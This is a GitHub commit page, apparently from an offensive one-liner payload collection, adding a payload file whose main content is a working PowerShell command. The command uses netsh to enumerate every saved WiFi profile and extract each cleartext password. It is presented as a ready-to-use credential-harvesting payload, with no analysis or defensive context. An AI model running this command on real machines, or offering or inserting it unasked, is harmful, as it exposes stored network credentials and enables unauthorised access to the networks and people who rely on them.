Skip to content

Commit

Permalink
Merge pull request #16 from ZonkSec/master
Browse files Browse the repository at this point in the history
adding oneliner to grab all grab all cleartext WiFi passwords with powerhsell
  • Loading branch information
D4Vinci committed Oct 4, 2018
2 parents 133932b + 14144cf commit f2161fa
Showing 1 changed file with 7 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
[Info]
Author = Vincent Yiu (@vysecurity)
Description = One liner to grab all cleartext WiFi passwords:

[Payload]
Type = Other
Payload = (netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }}

0 comments on commit f2161fa

Please sign in to comment.